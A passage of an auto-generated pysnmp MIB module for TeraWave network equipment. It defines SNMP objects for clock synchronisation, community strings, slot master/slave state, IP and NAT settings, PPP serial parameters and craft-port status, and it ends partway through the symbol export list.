2)))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraClockSyncActiveStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncActiveStatus.setDescription('') teraClockSyncPrimaryStatus = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 13), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("active", 1), ("idle", 2), ("fail", 3), ("oos", 4)))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraClockSyncPrimaryStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncPrimaryStatus.setDescription('') teraClockSyncSecondaryStatus = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 14), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("active", 1), ("idle", 2), ("fail", 3), ("oos", 4)))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraClockSyncSecondaryStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncSecondaryStatus.setDescription('') teraClockSyncOperStatus = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 15), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5))).clone(namedValues=NamedValues(("configure", 1), ("switchToPrimary", 2), ("switchToSecondary", 3), ("switchToHoldover", 4), ("switchToFreerun", 5)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraClockSyncOperStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncOperStatus.setDescription('') teraCommunityGroupTable = MibIdentifier((1, 3, 6, 1, 4, 1, 4513, 5, 5)) teraPublicCommunity = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 5, 1), OctetString()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraPublicCommunity.setStatus('mandatory') if mibBuilder.loadTexts: teraPublicCommunity.setDescription('') teraSETCommunity = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 5, 2), OctetString()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraSETCommunity.setStatus('mandatory') if mibBuilder.loadTexts: teraSETCommunity.setDescription('') teraGETCommunity = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 5, 3), OctetString()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraGETCommunity.setStatus('mandatory') if mibBuilder.loadTexts: teraGETCommunity.setDescription('') teraAdminCommunity = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 5, 4), OctetString()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraAdminCommunity.setStatus('mandatory') if mibBuilder.loadTexts: teraAdminCommunity.setDescription('') teraTestCommunity = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 5, 5), OctetString()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraTestCommunity.setStatus('mandatory') if mibBuilder.loadTexts: teraTestCommunity.setDescription('') teraMasterSlaveTable = MibIdentifier((1, 3, 6, 1, 4, 1, 4513, 5, 6)) teraMasterSlotNumber = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 6, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 7))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraMasterSlotNumber.setStatus('mandatory') if mibBuilder.loadTexts: teraMasterSlotNumber.setDescription('') teraSlaveSlotNumber = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 6, 2), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 7))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraSlaveSlotNumber.setStatus('mandatory') if mibBuilder.loadTexts: teraSlaveSlotNumber.setDescription('') teraSystemIPGroupTable = MibIdentifier((1, 3, 6, 1, 4, 1, 4513, 5, 7)) teraSystemIPAddress = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 7, 1), IpAddress()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraSystemIPAddress.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemIPAddress.setDescription('') teraSystemIPNetMask = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 7, 2), IpAddress()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraSystemIPNetMask.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemIPNetMask.setDescription('') teraSystemIPGateway = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 7, 3), IpAddress()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraSystemIPGateway.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemIPGateway.setDescription('') teraNESlotTable = MibTable((1, 3, 6, 1, 4, 1, 4513, 5, 9), ) if mibBuilder.loadTexts: teraNESlotTable.setStatus('mandatory') if mibBuilder.loadTexts: teraNESlotTable.setDescription(' table teraNESlotTable') teraNESlotTableEntry = MibTableRow((1, 3, 6, 1, 4, 1, 4513, 5, 9, 1), ).setIndexNames((0, "TERAWAVE-terasystem-MIB", "teraInstallSlotNumber"), (0, "TERAWAVE-terasystem-MIB", "teraPonIndex"), (0, "TERAWAVE-terasystem-MIB", "teraEventSlot")) if mibBuilder.loadTexts: teraNESlotTableEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraNESlotTableEntry.setDescription(' table entry teraNESlotTableEntry ') teraNESlotUnitType = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 9, 1, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(-1, 1000))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraNESlotUnitType.setStatus('mandatory') if mibBuilder.loadTexts: teraNESlotUnitType.setDescription('') teraNESlotUnitAdminStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 9, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6))).clone(namedValues=NamedValues(("provision", 1), ("none", 2), ("is", 3), ("moos", 4), ("reset", 5), ("trunk", 6)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraNESlotUnitAdminStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraNESlotUnitAdminStatus.setDescription('') teraWLinkIPTable = MibTable((1, 3, 6, 1, 4, 1, 4513, 5, 10), ) if mibBuilder.loadTexts: teraWLinkIPTable.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPTable.setDescription(' table teraWLinkIPTable') teraWLinkIPTableEntry = MibTableRow((1, 3, 6, 1, 4, 1, 4513, 5, 10, 1), ).setIndexNames((0, "TERAWAVE-terasystem-MIB", "teraInstallSlotNumber"), (0, "TERAWAVE-terasystem-MIB", "teraPonIndex")) if mibBuilder.loadTexts: teraWLinkIPTableEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPTableEntry.setDescription(' table entry teraWLinkIPTableEntry ') teraWLinkIPAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 10, 1, 1), IpAddress()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraWLinkIPAddress.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPAddress.setDescription('') teraWLinkIPNetMask = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 10, 1, 2), IpAddress()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraWLinkIPNetMask.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPNetMask.setDescription('') teraWLinkIPGateway = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 10, 1, 3), IpAddress()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraWLinkIPGateway.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPGateway.setDescription('') teraWLinkIPStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 10, 1, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("set", 1), ("delete", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraWLinkIPStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPStatus.setDescription('') teraNEMiscTableGroup = MibIdentifier((1, 3, 6, 1, 4, 1, 4513, 5, 11)) teraNEMiscTable = MibIdentifier((1, 3, 6, 1, 4, 1, 4513, 5, 11, 1)) teraNELevel2Slot = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 11, 1, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 4))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraNELevel2Slot.setStatus('mandatory') if mibBuilder.loadTexts: teraNELevel2Slot.setDescription('') teraNEZipSystem = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 11, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("no", 1), ("zip-active", 2), ("zip-stby", 3), ("zip-all", 4)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraNEZipSystem.setStatus('mandatory') if mibBuilder.loadTexts: teraNEZipSystem.setDescription('') teraNEReset = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 11, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("no", 1), ("reset", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraNEReset.setStatus('mandatory') if mibBuilder.loadTexts: teraNEReset.setDescription('') teraNETimeZone = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 11, 1, 4), OctetString()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraNETimeZone.setStatus('mandatory') if mibBuilder.loadTexts: teraNETimeZone.setDescription('') teraNEInventoryOverride = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 11, 1, 5), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("disable", 1), ("enable", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraNEInventoryOverride.setStatus('mandatory') if mibBuilder.loadTexts: teraNEInventoryOverride.setDescription('') teraNESerialPortType = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 11, 1, 6), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("ppp", 1), ("dbshell", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraNESerialPortType.setStatus('mandatory') if mibBuilder.loadTexts: teraNESerialPortType.setDescription('') teraSysObjectIdTable = MibIdentifier((1, 3, 6, 1, 4, 1, 4513, 5, 12)) teraTW300 = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 12, 1), ObjectIdentifier()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraTW300.setStatus('mandatory') if mibBuilder.loadTexts: teraTW300.setDescription('') teraTW600 = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 12, 2), ObjectIdentifier()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraTW600.setStatus('mandatory') if mibBuilder.loadTexts: teraTW600.setDescription('') teraTW1600 = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 12, 3), ObjectIdentifier()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraTW1600.setStatus('mandatory') if mibBuilder.loadTexts: teraTW1600.setDescription('') teraTW100 = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 12, 4), ObjectIdentifier()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraTW100.setStatus('mandatory') if mibBuilder.loadTexts: teraTW100.setDescription('') teraTW150RTATM = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 12, 5), ObjectIdentifier()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraTW150RTATM.setStatus('mandatory') if mibBuilder.loadTexts: teraTW150RTATM.setDescription('') teraTW150RTTDM = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 12, 6), ObjectIdentifier()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraTW150RTTDM.setStatus('mandatory') if mibBuilder.loadTexts: teraTW150RTTDM.setDescription('') teraOAT = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 12, 7), ObjectIdentifier()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraOAT.setStatus('mandatory') if mibBuilder.loadTexts: teraOAT.setDescription('') teraNEIDxTable = MibTable((1, 3, 6, 1, 4, 1, 4513, 5, 13), ) if mibBuilder.loadTexts: teraNEIDxTable.setStatus('mandatory') if mibBuilder.loadTexts: teraNEIDxTable.setDescription(' table teraNEIDxTable') teraNEIDxTableEntry = MibTableRow((1, 3, 6, 1, 4, 1, 4513, 5, 13, 1), ).setIndexNames((0, "TERAWAVE-terasystem-MIB", "ifIndex")) if mibBuilder.loadTexts: teraNEIDxTableEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraNEIDxTableEntry.setDescription(' table entry teraNEIDxTableEntry ') teraNEIDxSlotLevel1 = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 13, 1, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 16))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraNEIDxSlotLevel1.setStatus('mandatory') if mibBuilder.loadTexts: teraNEIDxSlotLevel1.setDescription('') teraNEIDxPonID = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 13, 1, 2), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 256))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraNEIDxPonID.setStatus('mandatory') if mibBuilder.loadTexts: teraNEIDxPonID.setDescription('') teraWLinkIPRangeTable = MibTable((1, 3, 6, 1, 4, 1, 4513, 5, 14), ) if mibBuilder.loadTexts: teraWLinkIPRangeTable.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPRangeTable.setDescription(' table teraWLinkIPRangeTable') teraWLinkIPRangeTableEntry = MibTableRow((1, 3, 6, 1, 4, 1, 4513, 5, 14, 1), ).setIndexNames((0, "TERAWAVE-terasystem-MIB", "ifIndex")) if mibBuilder.loadTexts: teraWLinkIPRangeTableEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPRangeTableEntry.setDescription(' table entry teraWLinkIPRangeTableEntry ') teraWLinkIPRangeStart = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 14, 1, 1), IpAddress()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraWLinkIPRangeStart.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPRangeStart.setDescription('') teraWLinkIPRangeEnd = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 14, 1, 2), IpAddress()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraWLinkIPRangeEnd.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPRangeEnd.setDescription('') teraWLinkIPRangeRowStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 14, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("ok", 1), ("delete", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraWLinkIPRangeRowStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPRangeRowStatus.setDescription('') teraSecondaryMasterSlaveTable = MibIdentifier((1, 3, 6, 1, 4, 1, 4513, 5, 16)) teraSecondaryMasterSlotNumber = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 16, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 7))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraSecondaryMasterSlotNumber.setStatus('mandatory') if mibBuilder.loadTexts: teraSecondaryMasterSlotNumber.setDescription('') teraSecondarySlaveSlotNumber = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 16, 2), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 7))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraSecondarySlaveSlotNumber.setStatus('mandatory') if mibBuilder.loadTexts: teraSecondarySlaveSlotNumber.setDescription('') teraMasterSlaveStateTable = MibTable((1, 3, 6, 1, 4, 1, 4513, 5, 17), ) if mibBuilder.loadTexts: teraMasterSlaveStateTable.setStatus('mandatory') if mibBuilder.loadTexts: teraMasterSlaveStateTable.setDescription(' table teraMasterSlaveStateTable') teraMasterSlaveStateTableEntry = MibTableRow((1, 3, 6, 1, 4, 1, 4513, 5, 17, 1), ).setIndexNames((0, "TERAWAVE-terasystem-MIB", "teraMasterSlaveStateIndex")) if mibBuilder.loadTexts: teraMasterSlaveStateTableEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraMasterSlaveStateTableEntry.setDescription(' table entry teraMasterSlaveStateTableEntry ') teraMasterSlaveStateIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 17, 1, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 2))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraMasterSlaveStateIndex.setStatus('mandatory') if mibBuilder.loadTexts: teraMasterSlaveStateIndex.setDescription('') teraMasterState = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 17, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1, 2))).clone(namedValues=NamedValues(("unknown", 0), ("nobody", 1), ("master", 2)))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraMasterState.setStatus('mandatory') if mibBuilder.loadTexts: teraMasterState.setDescription('') teraSlaveState = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 17, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1, 3, 4, 5))).clone(namedValues=NamedValues(("unknown", 0), ("nobody", 1), ("slave", 3), ("slaveActive", 4), ("slaveFail", 5)))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraSlaveState.setStatus('mandatory') if mibBuilder.loadTexts: teraSlaveState.setDescription('') teraPPPBaudRateTbl = MibIdentifier((1, 3, 6, 1, 4, 1, 4513, 5, 20)) teraPPPBaudRateTable = MibIdentifier((1, 3, 6, 1, 4, 1, 4513, 5, 20, 1)) teraPPPAdminBaudRate = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 20, 1, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1, 2, 3, 4, 5, 6, 7))).clone(namedValues=NamedValues(("baud2400", 0), ("baud4800", 1), ("baud9600", 2), ("baud19200", 3), ("baud38400", 4), ("baud57600", 5), ("baud115200", 6), ("baud230400", 7)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraPPPAdminBaudRate.setStatus('mandatory') if mibBuilder.loadTexts: teraPPPAdminBaudRate.setDescription('') teraPPPOperBaudRate = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 20, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1, 2, 3, 4, 5, 6, 7))).clone(namedValues=NamedValues(("baud2400", 0), ("baud4800", 1), ("baud9600", 2), ("baud19200", 3), ("baud38400", 4), ("baud57600", 5), ("baud115200", 6), ("baud230400", 7)))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraPPPOperBaudRate.setStatus('mandatory') if mibBuilder.loadTexts: teraPPPOperBaudRate.setDescription('') teraPPPAdminFlowControl = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 20, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1, 2))).clone(namedValues=NamedValues(("none", 0), ("xon-Xoff", 1), ("rTS-CTS", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraPPPAdminFlowControl.setStatus('mandatory') if mibBuilder.loadTexts: teraPPPAdminFlowControl.setDescription('') teraPPPOperFlowControl = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 20, 1, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1, 2))).clone(namedValues=NamedValues(("none", 0), ("xon-Xoff", 1), ("rTS-CTS", 2)))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraPPPOperFlowControl.setStatus('mandatory') if mibBuilder.loadTexts: teraPPPOperFlowControl.setDescription('') teraSystemNATGroupTable = MibIdentifier((1, 3, 6, 1, 4, 1, 4513, 5, 24)) teraSystemNATSubnetAddress = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 24, 1), IpAddress()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraSystemNATSubnetAddress.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNATSubnetAddress.setDescription('') teraSystemNATSubnetMask = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 24, 2), IpAddress()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraSystemNATSubnetMask.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNATSubnetMask.setDescription('') teraSystemPCUNumTable = MibIdentifier((1, 3, 6, 1, 4, 1, 4513, 5, 25)) teraSystemNumOfPCU = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 25, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1))).clone(namedValues=NamedValues(("pCU4", 0), ("pCU5", 1)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraSystemNumOfPCU.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNumOfPCU.setDescription('') teraInstalledSystemInfoTable = MibTable((1, 3, 6, 1, 4, 1, 4513, 5, 26), ) if mibBuilder.loadTexts: teraInstalledSystemInfoTable.setStatus('mandatory') if mibBuilder.loadTexts: teraInstalledSystemInfoTable.setDescription(' table teraInstalledSystemInfoTable') teraInstalledSystemInfoTableEntry = MibTableRow((1, 3, 6, 1, 4, 1, 4513, 5, 26, 1), ).setIndexNames((0, "TERAWAVE-terasystem-MIB", "teraInstallSlotNumber"), (0, "TERAWAVE-terasystem-MIB", "teraPonIndex")) if mibBuilder.loadTexts: teraInstalledSystemInfoTableEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraInstalledSystemInfoTableEntry.setDescription(' table entry teraInstalledSystemInfoTableEntry ') teraInstalledSystemName = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 26, 1, 1), OctetString()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraInstalledSystemName.setStatus('mandatory') if mibBuilder.loadTexts: teraInstalledSystemName.setDescription('') teraInstalledSystemLocation = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 26, 1, 2), OctetString()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraInstalledSystemLocation.setStatus('mandatory') if mibBuilder.loadTexts: teraInstalledSystemLocation.setDescription('') teraInstalledNEType = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 26, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1, 2, 3, 4, 5, 7))).clone(namedValues=NamedValues(("unknown", 0), ("tw300", 1), ("tw600", 2), ("tw1600", 3), ("tw100", 4), ("tw150RT", 5), ("oat", 7)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraInstalledNEType.setStatus('mandatory') if mibBuilder.loadTexts: teraInstalledNEType.setDescription('') teraCraftInterfaceGroup = MibIdentifier((1, 3, 6, 1, 4, 1, 4513, 5, 28)) teraCraftInterfaceTable = MibIdentifier((1, 3, 6, 1, 4, 1, 4513, 5, 28, 1)) teraCraftPortStat = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 28, 1, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("enable", 1), ("disable", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraCraftPortStat.setStatus('mandatory') if mibBuilder.loadTexts: teraCraftPortStat.setDescription('') teraCraftDefaultAddrStat = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 28, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("enable", 1), ("disable", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraCraftDefaultAddrStat.setStatus('mandatory') if mibBuilder.loadTexts: teraCraftDefaultAddrStat.setDescription('') teraSNMPState = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 28, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("ready", 1), ("notReady", 2)))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraSNMPState.setStatus('mandatory') if mibBuilder.loadTexts: teraSNMPState.setDescription('') mibBuilder.exportSymbols("TERAWAVE-terasystem-MIB", teraClockSyncActiveNIMSlot=teraClockSyncActiveNIMSlot, teraCommunityGroupTable=teraCommunityGroupTable, teraLogMsgNumber=teraLogMsgNumber, teraSystemInstallTableEntry=teraSystemInstallTableEntry, teraNEModel=teraNEModel, teraLogNumberOfParams=teraLogNumberOfParams, teraNEInventoryOverride=teraNEInventoryOverride, teraWLinkIPGateway=teraWLinkIPGateway, teraNERangingCode=teraNERangingCode, teraLogNumber=teraLogNumber, teraClockSyncRevertive=teraClockSyncRevertive, teraNEType=teraNEType, teraWLinkIPRangeEnd=teraWLinkIPRangeEnd, teraLogFilterBySize=teraLogFilterBySize, teraSystemNECurrentDistance=teraSystemNECurrentDistance, teraNESlotUnitType=teraNESlotUnitType, teraNESerialPortType=teraNESerialPortType, teraSystemNEProvisionAdminStatus=teraSystemNEProvisionAdminStatus, teraClockSyncTable=teraClockSyncTable, teraAllLogsFilterGroupEntry=teraAllLogsFilterGroupEntry, teraInstallUnitAdminStatus=teraInstallUnitAdminStatus, teraInstallEquippedUnitType=teraInstallEquippedUnitType, teraNEInfoTableGroup=teraNEInfoTableGroup, teraLogTable=teraLogTable, teraLogGroup=teraLogGroup, teraNESlotTable=teraNESlotTable, teraPublicCommunity=teraPublicCommunity, teraNEZipSystem=teraNEZipSystem, teraPPPAdminBaudRate=teraPPPAdminBaudRate, teraNEIDxSlotLevel1=teraNEIDxSlotLevel1, teraMasterSlaveTable=teraMasterSlaveTable, teraPPPAdminFlowControl=teraPPPAdminFlowControl, teraSystemNEMaxLatency=teraSystemNEMaxLatency, teraCraftPortStat=teraCraftPortStat, teraInstallUnitOperStatus=teraInstallUnitOperStatus, teraSecondarySlaveSlotNumber=teraSecondarySlaveSlotNumber, teraPPPBaudRateTbl=teraPPPBaudRateTbl, teraNESWVersion=teraNESWVersion, teraPPPBaudRateTable=teraPPPBaudRateTable, teraLogMsgIndex=teraLogMsgIndex, teraClockSyncSecondaryStatus=teraClockSyncSecondaryStatus, teraWLinkIPRangeRowStatus=teraWLinkIPRangeRowStatus, teraNEIDxTable=teraNEIDxTable, teraWLinkIPNetMask=teraWLinkIPNetMask, teraSystemNERangingCode=teraSystemNERangingCode, teraTestCommunity=teraTestCommunity, teraSystemNATGroupTable=teraSystemNATGroupTable, teraSystemPCUNumTable=teraSystemPCUNumTable, teraCraftInterfaceGroup=teraCraftInterfaceGroup, teraSystemNumOfPCU=teraSystemNumOfPCU, teraSystemNEOperStatus=teraSystemNEOperStatus, teraSystemIPNetMask=teraSystemIPNetMask, teraInstallUnitRevision=teraInstallUnitRevision, teraMasterSlotNumber=teraMasterSlotNumber, teraClockSyncPrimarySource=teraClockSyncPrimarySource, teraCraftDefaultAddrStat=teraCraftDefaultAddrStat, teraInstalledSystemInfoTableEntry=teraInstalledSystemInfoTableEntry, teraInstallUnitName=teraInstallUnitName, teraSystemNEType=teraSystemNEType, teraInstallUnitType=teraInstallUnitType, teraLogStatus=teraLogStatus, teraOAT=teraOAT, teraMasterSlaveStateTableEntry=teraMasterSlaveStateTableEntry, teraWLinkIPTableEntry=teraWLinkIPTableEntry, teraSystem=teraSystem, teraLogFilterByNumber=teraLogFilterByNumber, teraTW1600=teraTW1600, teraClockSyncPrimaryNIMSlot=teraClockSyncPrimaryNIMSlot, teraClockSyncActiveStatus=teraClockSyncActiveStatus, teraSystemNEInventoryOverride=teraSystemNEInventoryOverride, teraAllLogsFilterGroup=teraAllLogsFilterGroup, teraLogParams=teraLogParams, teraWLinkIPTable=teraWLinkIPTable, teraWLinkIPRangeTableEntry=teraWLinkIPRangeTableEntry, teraSystemNEEocMaxBandWidth=teraSystemNEEocMaxBandWidth, terawave=terawave, teraSystemIPGroupTable=teraSystemIPGroupTable, teraLogNumberTableEntry=teraLogNumberTableEntry, teraLogFilterBySeverity=teraLogFilterBySeverity, teraWLinkIPAddress=teraWLinkIPAddress, teraSystemNERanging=teraSystemNERanging, teraInstallUnitSerial=teraInstallUnitSerial, teraInstalledNEType=teraInstalledNEType, teraInstallUnitSWVersion=teraInstallUnitSWVersion, teraInstalledSystemInfoTable=teraInstalledSystemInfoTable, teraSlotInstallTable=teraSlotInstallTable, teraSystemNEAponMaxLength=teraSystemNEAponMaxLength, teraClockSyncSecondaryNIMIfIndex=teraClockSyncSecondaryNIMIfIndex, teraSystemCurrTime=teraSystemCurrTime, teraClockSyncActiveSource=teraClockSyncActiveSource, teraClockSyncOperStatus=teraClockSyncOperStatus, teraNELevel2Slot=teraNELevel2Slot, teraMasterSlaveStateTable=teraMasterSlaveStateTable, teraAdminCommunity=teraAdminCommunity, teraWLinkIPRangeTable=teraWLinkIPRangeTable, teraSystemNATSubnetMask=teraSystemNATSubnetMask, teraSysObjectIdTable=teraSysObjectIdTable, teraTW100=teraTW100, teraSecondaryMasterSlaveTable=teraSecondaryMasterSlaveTable, teraSystemNATSubnetAddress=teraSystemNATSubnetAddress, teraTW150RTTDM=teraTW150RTTDM, teraTW300=teraTW300, teraInstalledSystemLocation=teraInstalledSystemLocation, 